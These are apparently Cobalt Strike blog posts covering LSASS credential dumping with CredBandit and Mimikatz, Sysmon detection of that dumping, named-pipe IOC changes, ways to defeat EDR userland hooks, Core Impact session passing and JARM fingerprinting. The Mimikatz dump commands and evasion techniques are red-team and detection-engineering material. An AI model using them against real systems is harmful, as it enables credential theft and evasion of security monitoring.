The .txt is a backup of the original dumpFile.txt.

The .dmp is the minidump file of LSASS.

Use Mimikatz to extract information from the dump

At this point, we are done with CredBandit. It provided the dump of LSASS. We can now use Mimikatz offline to extract information.

You can use something like the following commands:

mimikatz
mimikatz # sekurlsa::minidump c:\payloads\credBandit\lsass.dmp
mimikatz # sekurlsa::logonPasswords



BTW, dontstealmypassword


Demo

Here is a quick demo of the tool.


Breaking down the key concepts

Beacon Object File (BOF) using direct syscalls

Direct syscalls can provide a way of avoiding API hooking from security tools by avoiding the need for calling these APIs.

CredBandit uses much of work done by Outflank on using Syscall in Beacon Object Files. I won’t spend time on this but here are great resources:

In memory storage of data

The minidump output is stored in Beacon’s memory vs. being written to disk. This is based on using a minidump implementation that uses NTFS transactions to write to memory: https://github.com/PorLaCola25/TransactedSharpMiniDump

ReactOS implementation of MiniDumpWriteDump

MiniDumpWriteDump API is replaced with an adaptation of ReactOS’s implementation of MiniDumpWriteDump: https://github.com/rookuu/BOFs/tree/main/MiniDumpWriteDump

Unconventional way of transferring in memory data through Beacon via overloaded BeaconPrintf() function

This is what I find most interesting about this project. In short, the BEACON_OUTPUT aggressor function is used to send the base64 encode dump it receives as chunks from BeaconPrintf. These chunks are written to a file that can be cleaned up and decoded.

How does this hack work? It’s clever and simple. The BOF uses the BeaconPrintf function to send chunks of the base64 encoded minidump file to the teamserver. This data is captured and written to a file on disk.

The following is an example of the output file:

received output:
TURNUJOnAAAEAAAAIAAAAAAAAAAAAAAAIggAAAAAAAAHAAAAOAAAAFAAAAAEAAAAdCMAAIwAAAAJAAAAUCQAAMI6AAAAAAAAAAAAAAAAAAA...
received output:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABolPx/AAAA4AkACJUKAP2mu1yUJQAAvQTv/gAAAQAAAAcAAQDuQgAACgABAO5CPwAAAAA...
received output:
AAAAAAAAAAAAAAAAAAAAAAAAAAC5kPx/AAAAoA4A94kOABHEhU5sJwAAvQTv/gAAAQACAAYAAQDuQgAACgABAO5CPwAAAAAAAAAEAAQAAgA...
received output:
AAAAAAAAAAAAAAAYkfx/AAAAoAcADk4IABy/Gt86KQAAvQTv/gAAAQACAAYAAQDuQgAACgABAO5CPwAAAAAAAAAEAAQAAgAAAAAAAAAAAAA...

This minidump file is rebuilt using the script cleanupMiniDump.sh. Credential material can be extracted using Mimikatz.


 Adjusting the Technique

The heart of this technique is based on accessing and dumping LSASS. Instead of using the suspicious activity of payload.exe accessing lsass.exe, you could find a process that regularly accesses LSASS, inject into that process, and perform your dump.

The BOF (https://github.com/outflanknl/FindObjects-BOF) may help you locate a process that has a handle to lsass.exe using similar OPSEC as CredBandit by using a BOF and direct systems calls. FindObjects-BOF is “A Cobalt Strike Beacon Object File (BOF) project which uses direct system calls to enumerate processes for specific modules or process handles.

Give it a try!


Detection Opportunities

Although the focus on this post was to highlight an interesting way to bend Cobalt Strike to a user’s will, it does cover a credential dumping technique. Understanding detection opportunities of techniques vs. tools is an important concept in detection engineering. I’ve invited Jonny Johnson (https://twitter.com/jsecurity101) to provide context to the detection story of this technique.

Jonny’s detection note are in the left column, and I hae added my take in the right.

Detection Story by Jonny Joe’s comments
Before we can start creating our detection we must identify what is the main action of this whole chain – opening a handle to LSASS. That will be the core of this detection. If we detect on the tool or code specifically, then we lose detection visibility once someone creates another code that uses different functions. By focusing on the technique’s core behavior, we prevent manually creating a gap in our detection strategy. For this piece I am going to leverage Sysmon Event ID: 10 – Process Accessed. This event allows me to see the source process that was requesting access to the target process, the target process, the granted access rights (explained in a moment), along with both the source process GUID and target process GUID.

Sysmon Event ID 10 fires when OpenProcess is called, and because Sysmon is a kernel driver, it has insight into OpenProcess in both user-mode and kernel-mode. This particular implementation uses a syscall for NtOpenProcess within ntdll.dll, which is the Native API version of the Win32 API OpenProcess.

How is this useful?

Within the NtOpenProcess documentation, there is a parameter called DesiredAccess.This correlates to the ACCESS_MASK type, which is a bitmask. This access is typically defined by the function that wants to obtain a handle to a process. OpenProcess acts as a middle man between the function call and the target process. The function in this instance is MiniDumpWriteDump. Although ReactOS’s implementation of MiniDumpWriteDump is being used, we are still dealing with Windows securable objects (e.g. processes and files). Due to this, we must follow Windows built-in rules for these objects. Also, ReactOS’s MiniDumpWriteDump is using the exact same parameters as Microsoft’s MiniDumpWriteDump API.

Don’t overemphasize tools. Fundamentally, this technique is based on the detection a process accessing LSASS.

ReactOS’s MiniDumpWriteDump is using the exact same parameters as Microsoft’s MiniDumpWriteDump API.” It is important to focus on the technique’s primitives. There can be multiple implementations by different tools but the technique can often be broken down in to primitives.

Within Microsoft’s documentation, we can see that if MiniDumpWriteDump wants to obtain a handle to a process, it must have PROCESS_QUERY_IMFORMATION & PROCESS_VM_READ access to that process, which we can see is requested in the CredBandit source code below:

However, this still isn’t the minimum rights that a process needs to perform this action on another process. After reading Microsoft’s Process Security and Access Rights we can see that anytime a process is granted PROCESS_QUERY_IMFORMATION, it is automatically granted PROCESS_QUERY_LIMITED_IMFORMATION. This has a hex value of 0x1410 (this will be used in the analytic later).

Next, we want to see the file created via NtCreateTransacted. Sysmon uses a minifilter driver to monitor file system’s stacks indirectly, so it has insight into files being written to disk or a phantom file. One thing we have to be careful with is that we don’t know the extension the actor might have for the dump file. Bottom line: this is attacker-controlled and if we specify this into our analytic we risk creating a blind spot, which can lead to an analytical bypass.

Lastly, a little icing on the cake would be to add a process creation event to this analytic as it would just provide context around which user was leveraged for this activity.

Data Sources/Events:

User Rights:

Process Access:

File Creation:

  • Sysmon Event ID 11

Process Creation:

A detection strategy hypothesis should account for potential blind spots. Blind spots are not bad, but should be identified. https://posts.specterops.io/detection-in-depth-a2392b3a7e94

Analytics:

The following analytics are not meant to be copy and paste, but more of the beginning of detection for your environment. If you only look for the access rights 0x1410, then you will create a blind spot if an actor uses ReadProcessMemory to dump LSASS. Ideally, multiple detections would be made for dumping LSASS so that blind spots could be covered along the way.

Sysmon EID 10 Process Access

Regarding Detection:

Multiple combinations of access rights may be requested based on the implementation. Focus on a query to cover minimal rights needed. This will reduce blind spots based on a specific implementation.

Regarding OPSEC:

Notice that payload.exe is accessing lsass.exe. This is due to this implementation as a BOF running directly under the context of Beacon.

BOF and syscalls can be great, but maintain OPSEC awareness.

Sysmon EID 10 & EID 11

Sysmon EID 10, 11, & 1

Detection Summary

When writing a detection the first thing I do is identify the capabilities that a tool and/or technique has. This helps me narrow in on a scope. A piece of code could be implementing 3-4 techniques. When this happens, I separate these techniques and look into them separately. This allows me to create a detection strategy per capability.
When the capability is identified and the components being used are highlighted, proper scoping can be applied. We can see a commonality between this implementation and many others. That commonality is MiniDumpWriteDump and the access rights needed for that function call. This is the foundation of our detection or base condition. However, this could be evaded if an actor uses ReadProcessMemory because there are a different set of minimum access rights needed. A separate detection would need to be created for this function. This is ideal as it applies an overlap of our detection to cover the blind spots that are related to a technique.
Pulling attributes like file creation and process creation are contextual attributes that can be applied back to the core detection (MiniDump). The detection shouldn’t rely on these attributes because they are not guaranteed to be present.

Cobalt Strike is not inherently malicious. It is simply a way for someone to implement an action. The intent behind that action is what determines a classification of malicious or benign. Consequently, I don’t focus on Cobalt Strike specific signatures, I look at the behavior/technique being implemented.

I like how Palantir outlines a method for documenting detection strategies using their Alerting and Detection Strategy Framework (ADS).
Jonny Johnson (https://twitter.com/jsecurity101)

Thanks to https://twitter.com/anthemtotheego  for creating this tool.

Stay tuned for part 2 where I ‘ll talk about how the latest version uses an “undocumented” feature to download the minidump file instead of hijacking the BEACON_OUTPUT function.

Conclusion

Wait?!?! This post highlighted the need to ‘hack’ Cobalt Strike because of a lack of features.  Why isn’t this part of the toolset?

Cobalt Strike is a framework. It is meant to be tuned to fit a user’s need. Projects like this help expose areas that can be improved. This helps the team add new features, update documentation, or provide examples.

References

Detection References:

Learn Pipe Fitting for all of your Offense Projects

Named pipes are a method of inter-process communication in Windows. They’re used primarily for local processes to communicate with eachother. They can also facilitate communication between two processes on separate hosts. This traffic is encapsulated in the Microsoft SMB Protocol. If you ever hear someone refer to a named pipe transport as an SMB channel, this is why.

Cobalt Strike uses named pipes in several of its features. In this post, I’ll walk you through where Cobalt Strike uses named pipes, what the default pipename is, and how to change it. I’ll also share some tips to avoid named pipes in your Cobalt Strike attack chain too.

Where does Cobalt Strike use named pipes?

Cobalt Strike’s default Artifact Kit EXEs and DLLs use named pipes to launder shellcode in a way that defeats antivirus binary emulation circa 2014. It’s still the default. When you see \\.\pipe\MSSE-###-server that’s likely the default Cobalt Strike Artifact Kit binaries. You can change this via the Artifact Kit. Look at src-common/bypass-pipe.c in the Artifact Kit to see the implementation.

Cobalt Strike also uses named pipes for its payload staging in the jump psexec_psh module for lateral movement. This pipename is \\.\pipe\status_##. You can change the pipe via Malleable C2 (set pipename_stager).

Cobalt Strike uses named pipes in its SMB Beacon communication. The product has had this feature since 2013. It’s pretty cool. You can change the pipename via your profile and when you configure an SMB Beacon payload. I’m also aware of a few detections that target the content of the SMB Beacon feature too. The SMB Beacon uses a [length][data] pattern and these IOCs target predictable [length] values at the beginning of the traffic. The smb_frame_header Malleable C2 option pushes back on this. The default pipe is \\[target]\pipe\msagent_##.

Cobalt Strike uses named pipes for its SSH sessions to chain to a parent Beacon. The SSH client in Cobalt Strike is essentially an SMB Beacon as far as Cobalt Strike is concerned. You can change the pipename (as of 4.2) by setting ssh_pipename in your profile. The default name of this pipe (CS 4.2 and later) is \\.\pipe\postex_ssh_####.

Cobalt Strike uses named pipes for most of its post-exploitation jobs. We use named pipes for post-ex tools that inject into an explicit process (screenshot, keylog). Our fork&run tools largely use named pipes to communicate results back to Beacon too. F-Secure’s Detecting Cobalt Strike Default Modules via Named Pipe Analysis discusses this aspect of Cobalt Strike’s named pipes. We introduced the ability to change these pipenames in Cobalt Strike 4.2. Set post-ex -> pipename in your Malleable C2 profile. The default name for these pipes is \\.\pipe\postex_#### in Cobalt Strike 4.2 and later. Prior to 4.2, the default name was random-ish.

Pipe Fitting with Cobalt Strike

With the above, you’re now armed with knowledge of where Cobalt Strike uses named pipes. You’re also empowered to change their default names too. If you’re looking for a candidate pipename, use ls \\.\pipe from Beacon to quickly see a list of named pipes on a lived-in Windows system. This will give you plenty to choose from. Also, when you set your plausible pipe names, be aware that each # character is replaced with a random character (0-9a-f) as well.  And, one last tip: you can specify a comma-separated list of candidate pipe names in your ssh_pipename and post-ex -> pipename profile values. Cobalt Strike will pick from this list, at random, when one of these values is needed.

Simplify your Offense Plumbing

Cobalt Strike uses named pipes in several parts of its offense chain. These are largely optional though and you can avoid them with some care. For example, the default Artifact Kit uses named pipes; but this is not a requirement of the Artifact Kit. Our other Artifact Kit templates do not use named pipes. For lateral movement and peer-to-peer chaining of Beacons, the TCP Beacon is an option. To avoid named pipes from our SSH sessions, tunnel an external SSH client via a SOCKS proxy pivot. And, while a lot of our fork&run post-exploitation DLLs use named pipes for results, Beacon Object Files are another way to build and run post-exploitation tools on top of Beacon. The Beacon Object Files mechanism does not use named pipes.

Closing Thoughts

This post focused on named pipe names, but the concepts here apply to the rest of Cobalt Strike as well. In offense, knowing your IOCs and how to change or avoid them is key to success. Our goal with Cobalt Strike isn’t amazing and ever-changing default pipe names or IOCs. Our goal is flexibility. Our current and future work is to give you more control over your attack chain over time. To know today’s options, read Kits, Profiles, and Scripts… Oh my! This blog post summarizes ways to customize Cobalt Strike. Our late-2019 Red Team Operations with Cobalt Strike mixes these ideas into each lecture as well.


 

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Pushing back on userland hooks with Cobalt Strike

When I think about defense in the current era, I think of it as a game of instrumentation and telemetry. A well-instrumented endpoint provides a defense team and an automated security solution with the potential to react to or have visibility into a lot of events on a system. I say a lot, because certainly some actions are not easy to see [or practical to work with] via today’s instrumentation methods.

A popular method to instrument Windows endpoints is userland hooking. The process for this instrumentation looks like this:

(a) load a security product DLL into the process space [on process start, before the process starts to do anything]

(b) from the product DLL: installs hooks into certain APIs of interest. There are a lot of different ways to hook, but one of the most common is to patch the first instructions in a function-of-interest to jump to the vendor’s code, do the analysis, execute the patched over instructions, and resume the function just after the patch.

This method of instrumentation is popular because it’s easy-ish to implement, well understood, and was best practice in security products for a very long time. It’s still common in a lot of security technologies today.

The downside of the above instrumentation method is that it’s also suscpetible to tamper and attack by an adversary. The adversary’s code that lives in a process has the same rights and ability to examine and change code as the security product that installed itself there.

The above possibility is the impetus for this blog post. I’d like to walk you through a few strategies to subvert instrumentation implemented as userland hooks with the Cobalt Strike product.

Which products use hooks and what do they hook?

Each of these techniques does benefit from awareness of the endpoint security products in play and how [also, if] they use userland hooks to have visibility.  Devisha Rochlani did a lot of work to survey different products and document their hooks. Read the Anti-virus Artifacts papers for more on this.

To do target-specific leg work, consult Matt Hand’s Adventures in Dynamic Evasion. Matt discusses how to identify hooks in a customer’s environment right now and use that information to programatically craft a tailored evasion strategy.

Avoid Hooks with Direct System Calls

One way to defeat userland hooks is to avoid them by making system calls directly from our code.

A direct syscall is made by populating registers with arguments and a syscall number that corresponds to an API exposed to userland by the operating system kernel. The system call is then invoked with the syscall instruction. NTDLL is largely thin wrappers around these kernel APIs and is a place some products insert their hooks. By making syscalls directly from our code, and not calling them via NTDLL (or an API that calls them via NTDLL), we avoid these hooks.

The value of this technique is that we deny a security product visibility into our actions via this means. The downside is we have to adapt our code to working with these APIs specifically.

If a security product isn’t using userland hooks this technique provides no evasion value. If we use system calls for uninteresting (e.g., not hooked) actions–this technique provides no evasion value.

Also, be aware that direct system calls (outside of specific contexts, like NTDLL) can be disabled process-by-process in Windows 10. This is the ProcessSystemCallDisablePolicy. If something can be disabled, I surmise it can also be monitored and used for detection purposes too. This leads to a familiar situation. A technique that provides evasion utility now can also provide detection opportunities later on. This is a trueism with most things offense. Always keep it in mind when deciding whether or not to use a technique like this.

With the above out of the way, what are some opportunities to use system calls from Cobalt Strike’s Beacon?

One option is to use system calls in your EXE and DLL artifacts that run Cobalt Strike’s Beacon. The blog post Implementing Syscalls in the Cobalt Strike Artifact Kit walks through how to do this for Cobalt Strike’s EXEs and DLLs. The post’s author shared that VirtualAlloc, VirtualProtect, and CreateThread are calls some products hook to identify malicious activity. I’d also go further and say that if your artifact spawns a process and injects a payload into it, direct syscalls are a way to hide this behavior from some security stacks.

Another option is to use system calls within some of your Beacon post-exploitation activities. While Beacon doesn’t use direct system calls with any of its built-ins, you can define your own built-ins with Beacon Object Files. Cornelis de Plaa from Outflank authored Direct Syscalls from Beacon Object Files to demonstrate how to use Jackson T.‘s Syswhispers 1 (Syswhispers 2 just came out!) from Beacon Object Files. As a proof-of-concept, Cornelis released a Beacon Object File to restore plaintext credential caching in LSASS via an in-memory patch.

Building on the above, Alfie Champion used Outflank’s foundation and re-implemented Cobalt Strike’s shinject and shspawn as Beacon Object Files that use direct system calls. This provides a way to do process injection from Cobalt Strike, but evade detections that rely on userland hooks. The only thing that’s missing is some way for scripts to intercept Cobalt Strike’s built-in fork&run actions and override the built-in behaviors with a BOF. Hmmmmm.

Refresh DLLs to Remove Function Hooks

Another way to defeat userland hooks is to find hooks implemented as code patches and restore the functions to their original uninstrumented state. One way to do this is to find hooked DLLs in memory, read the original DLL from disk, and use that content to restore the mapped DLL to its unhooked state. This is DLL refreshing.

The simplest case of DLL refreshing is to act on NTDLL. NTDLL is a good candidate, because its really easy to refresh. You don’t have to worry about relocations and alternate API sets. NTDLL is also a good candidate because it’s a target for security product hooks! The NTDLL functions are often the lowest-level API that other Windows APIs call from userland. A well-placed hook in NTDLL will grant visibility into all of the userland APIs that use it.

You can refresh NTDLL within a Cobalt Strike Beacon with a Beacon Object File. Riccardo Ancarani put together a proof-of-concept to do this. Compile the code and use inline-execute to run it.

If NTDLL is not enough, you can refresh all of the DLLs in your current process. This path has more peril though. The DLL refreshing implementation needs to account for relocations, apisets, and other stuff that makes the unhooked code on disk differ from the unhooked code in memory. Jeff Tang from Cylance’s Red Team undertook this daunting task in 2017 and released their Universal Unhooker (whitepaper).

I’ve put together a Beacon Object File implementation of Cylance’s Universal Unhooker. The script for this BOF adds an unhook alias to Beacon. Type unhook and Beacon will pass control to the unhooker code, let it do its thing, and then return control back to Beacon.

Both of these techniques are great options to clean your Beacon process space before you start into other offense activities.

While the above are Beacon Object Files and presume that your Beacon is already loaded, you may also find it’s worthwhile to implement DLL refreshing in your initial access artifact too. Like direct system calls, this is a way to defeat userland hooking visibility that could affect your agent loading or its initial communications.

Prevent Hooks via Windows Process Mitigations

So far, we’ve discussed ways to defeat hooks by either avoiding them or undoing them. It’s possible to prevent hooking altogether too.

I became interested in this approach, when I learned that Google Chrome takes many steps to prevent security products from loading into its process space. Google was tired of entertaining crash reports from poorly implemented endpoint security products and opted to fight back against this in their own code. I share Google’s concerns about allowing an endpoint security product to share space with my post-exploitation code. My reasons are different, but we’re very much aligned on this cause!

The above led me to experiment with the Windows 10 process mitigation policy, BinarySignaturePolicy. A process run with a BinarySignaturePolicy of MicrosoftSignedOnly will refuse to load any DLL not signed by Microsoft into that process space. This mitigation prevents some security products from loading their DLLs into the new process space.

I opted to use the above to implement blockdlls in Cobalt Strike 3.14. blockdlls is a session prepping command to run processes with this flag set. The idea of blockdlls is processes spawned by Beacon will be free to act with less scrutiny, in some situations.

There are caveats to blockdlls. The mitigation is a recent-ish Windows 10 addition. It doesn’t work on versions of Windows where this mitigation isn’t implemented. Duh! And, security vendors do have the option to get Microsoft to sign their DLLs via an attestation service offered by Microsoft. A few made this exact move after Cobalt Strike weaponized this mitigation in version 3.14.

For more information on this technique and its variations, read Adam Chester’s Protecting Your malware with blockdlls and ACG. It’s a great overview of the technique and also discusses variations of the same idea.

Like direct system calls, I see the use of process mitigations as an evasion that is also potentially its own tell. Be aware of this tradeoff. Also, like direct system calls, this is an option that has use both during post-exploitation and in an initial access artifact. Any initial access artifact that performs migration (again, Cobalt Strike’s service executables do this) could benefit from this approach in some security stacks too.

Closing Thoughts

And, there you have it. This blog posted presented a few different techniques to defeat userland hooks with Cobalt Strike. Better, each of these techniques delivers benefit at different places in Cobalt Strike’s engagement cycle.

Be aware that each of these methods is beneficial in very specific circumstances. None of the above will have impact against technologies that do not use userland hooks for instrumentation. Offense is always about trade-offs. Knowing the techniques available to you and knowing their trade-offs will help you assess your situation and decide the best way forward. This is key to good security testing engagements.

Agent Deployed: Core Impact and Cobalt Strike Interoperability

Core Impact 20.3 has shipped this week. With this release, we’re revealing patterns for interoperability between Core Impact and Cobalt Strike. In this post, I’ll walk you through these patterns and provide advice on how to get benefit using Cobalt Strike and Core Impact together.

A Red Team Operator’s Introduction to Core Impact

Prior to jumping into the patterns, I’d like to introduce you to Core Impact with my voice. Core Impact is a commercial penetration testing tool and exploit framework that has had continuous development since 1998.

Impact is a collection of remote, local, and client-side attacks for public vulnerabilities and other common offense actions. We implement [with special attention to QA] our own exploits as well. While we announce 2-3 product updates per year, we push new modules and module updates in between releases too.

Impact is also a collection of post-exploitation agents for Windows, Linux, other *NIX flavors (to include OS X), and Cisco IOS. While Windows has the most features and best support, our *NIX agents are robust and useful. The pivoting model and interface for these platforms is largely unified. The Impact agent is one of my favorite parts of the product.

Core Impact also has a graphical user interface to bring all of these things together. It’s quirky and does have a learning curve. But, once you grok the ideas behind it, the product clicks and it is thought out.

While Core Impact was long-marketed as a vulnerability verification tool [notice: I’m not mentioning the automation], it’s clear to me that the product was architected by hackers. This hacker side of Core Impact is what I’d like to show you in this video walk-through:

Session Passing from Core Impact to Cobalt Strike

One of the most important forms of tool interoperability is the ability to pass sessions between platforms.

Core Impact 20.3 includes a Run shellcode in temporary process module to support session passing. This module spawns a temporary process and injects the contents of the specified file into it. The module does support spawning code x86 -> x86, x64 -> x64, and x64 -> x86.

To pass a session from Core Impact to Cobalt Strike:

[Cobalt Strike]

1. Go to Attacks -> Packages -> Windows EXE (S)
2. Press … to choose your listener
3. Change Output to raw
4. Check x64 if you wish to export an x64 payload.
5. Press Generate and save the file

[Core Impact]

1. Right-click on the desired agent and click Set as Source
2. Find the Run shellcode in temporary process module and double-click it.
3. Set ARCHITECTURE to x86-64 if you exported an x64 payload
4. Set FILENAME to the file generated by Cobalt Strike
5. Press OK

This pattern is a great way to spawn Cobalt Strike’s Beacon after a successful remote or privilege escalation exploit with Core Impact.

Session Passing from Cobalt Strike to Core Impact

You can also spawn a Core Impact agent from Cobalt Strike too. If Core Impact and Cobalt Strike can reach the same network, this pattern is a light way to turn an access obtained with Beacon (e.g., via phishing, lateral movement, etc.) into an Impact agent.

[Core Impact]

1. Find the Package and Register Agent module and double-click it.
2. Change ARCHITECTURE to x86-64 if you’d like to export an x64 agent
3. Change BINARY TYPE to raw
4. Change TARGET FILE to where you would like to save the file
5. Expand Agent Connection
6. Change CONNECTION METHOD and PORT to fit your preference. I find the Connect from target (reverse TCP connection) is the most performant.

[Cobalt Strike]

1. Interact with a Beacon
2. Type shspawn x64 if you exported an x64 agent. Type shspawn x86 if you exported an x86 agent.
3. Find the file that you exported.
4. Press Open.

In a few moments, you should hear that famous New Agent Deployed wav.

Tunnel Core Impact exploits through Cobalt Strike

Core Impact has an interesting offensive model. Its exploits and scans do not originate from your Core Impact GUI. The entire framework is architected to delegate offense activity through a source agent. The currently selected source agent also acts as a controller to receive connections from reverse agents [or to connect to and establish control of bind agents]. In this model, the offense process is: start with local agent, find and exploit target, set new agent as source agent, find and exploit newly visible targets, repeat until satisfied.

As the agent is the main offense actor in Core Impact, tunneling Core Impact exploits is best accomplished by tunneling the Core Impact agent through Cobalt Strike’s Beacon.

Cobalt Strike 4.2 introduced the spunnel command to spawn Core Impact’s Windows agent in a temporary process and create a localhost-only reverse port forward for it. Here are the steps to tunnel Core Impact’s agent with spunnel:

[Core Impact]

1. Click the Modules tab in the Core Impact user interface
2. Search for Package and Register Agent
3. Double-click this module
4. Change Platform to Windows
5. Change Architecture to x86-64
6. Change Binary Type to raw
7. Click Target File and press … to decide where to save the output.
8. Go to Agent Connection
9. Change Connection Method to Connect from Target
10. Change Connect Back Hostname to 127.0.0.1
11. Change Port to some value (e.g., 9000) and remember it.
12. Press OK.

[Cobalt Strike]

1. Interact with a Beacon
2. Type spunnel x64 [impact IP address] 9000 and press enter.
3. Find the file that you exported.
4. Press Open.

This similar to passing a session from Cobalt Strike to Core Impact. The difference here is the Impact agent’s traffic is tunneled through Cobalt Strike’s Beacon payload.

What happens when Cobalt Strike’s team server is on the internet and Core Impact is on a local Windows virtual machine? We have a pattern for this too. Run a Cobalt Strike client from the same Windows system that Core Impact is installed onto. Connect this Cobalt Strike client to your team server. In this setup, run spunnel_local x64 127.0.0.1 9000 to spawn and tunnel the Impact agent through Beacon. The spunnel_local command is like spunnel, with the difference that it routes the agent traffic from Beacon to the team server and onwards through your Cobalt Strike client. The spunnel_local command was designed for this exact situation.

Next step: Request a trial

The above options are our patterns for interoperability between Core Impact and Cobalt Strike.

If you have Cobalt Strike and would like to try these patterns with Core Impact, we recommend that you request a trial of Core Impact and try it out.

A Red Teamer Plays with JARM

I spent a little time looking into Saleforce’s JARM tool released in November. JARM is an active tool to probe the TLS/SSL stack of a listening internet application and generate a hash that’s unique to that specific TLS/SSL stack.

One of the initial JARM fingerprints of interest relates to Cobalt Strike. The value associated with Cobalt Strike is:

07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1

To generate a JARM fingerprint for an application, use the JARM python tool:

python3 jarm.py [target] -p [port]

I opted to dig into this, because I wanted to get a sense of whether the fingerprint is Cobalt Strike or Java.

Cobalt Strike’s JARM Fingerprint is Java’s JARM Fingerprint

I started my work with a hypothesis: Cobalt Strike’s JARM fingerprint is Java’s JARM fingerprint. To validate this, I created a simple Java SSL server application (listens on port 1234) in Sleep.

import javax.net.*;
import javax.net.ssl.*;

$factory = [SSLServerSocketFactory getDefault];
$server  = [$factory createServerSocket: 1234];
[$server setSoTimeout: 0];

if (checkError($error)) {
warn($error);
}

while (true) {
$socket = [$server accept];
[$socket startHandshake];
[$socket close];
}

I ran this server from Java 11 with:

java -jar sleep.jar server.sl

I assessed its JARM fingerprint as:

00000000000000000042d41d00041d7a6ef1dc1a653e7ae663e0a2214cc4d9

Interesting! This fingerprint does not match the supposed Cobalt Strike fingerprint. Does this mean we’re done? No.

The current popular use of JARM is to fingerprint web server applications listening on port 443. This implies that these servers have a certificate associated with their TLS communications. Does this change the above JARM fingerprint? Let’s setup an experiment to find out.

I generated a Java keystore with a self-signed certificate and I directed my simple server to use it:

keytool -keystore ./exp.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -dname “CN=,OU=,O=,L=,S=,C=”
java -Djavax.net.ssl.keyStore=./exp.store -Djavax.net.ssl.keyStorePassword=123456 -jar sleep.jar server.sl

The JARM result:

07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1

Interesting. We’ve validated that the above JARM fingerprint is specific to a Java 11 TLS stack.

Another question: is the JARM fingerprint affected by Java version? I setup several experiments and validated that yes, different major Java versions have different JARM fingerprints in the above circumstance.

How many Java-native Web servers are on the internet?

Part of the value of JARM is to turn the internet haystack into something smaller for an analyst to sift through. I wanted to get a sense of how much Java is on the internet. Fortunately, this analysis was easy thanks to some timely and available data. Silas Cutler had scanned the internet for port 443 and obtained JARM values for each of these hosts. This data was made available as an SQLite database too. Counting through this data was a relatively easy exercise of:

sqlite> .open jarm.sqlite
sqlite> select COUNT(ip) FROM jarm WHERE hash = “[hash here]”;

Here’s what I found digging through this data:

Application Count JARM Hash
Java 1.8.0 21,099 07d14d16d21d21d07c07d14d07d21d9b2f5869a6985368a9dec764186a9175
Java 1.9.0 9 05d14d16d04d04d05c05d14d05d04d4606ef7946105f20b303b9a05200e829
Java 11.05 2,957 07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1
Java 13.01 0 2ad2ad16d2ad2ad22c42d42d00042d58c7162162b6a603d3d90a2b76865b53

I went a slight step further with this data. I opted to convert the Java 11.05 data to hostnames and eyeball what appeared as interesting. I found several mail servers. I did not investigate which application they are. I found an instance of Burp Intruder (corroborating Salesforce’s blog post). I also found several instances of Oracle Peoplesoft as well. These JARM hashes are a fingerprint for Java applications, in general.

Closing Thoughts

For defenders, I wouldn’t act on a JARM value as proof of application identity alone. For red teamers, this is a good reminder to think about pro-active identification of command and control servers. This is a commoditized threat intelligence practice. If your blue team uses this type of information, there are a lot of options to protect your infrastructure. Part 3 of Red Team Operations with Cobalt Strike covers this topic starting at 1h 26m 15s:

JARM is a pretty cool way to probe a server and learn more about what it’s running. I’d love to see a database of JARM hashes and which applications they map to as a reconaissance tool. The C2 fingerprinting is a neat application of JARM too. It’s a good reminder to keep up on your infrastructure OPSEC.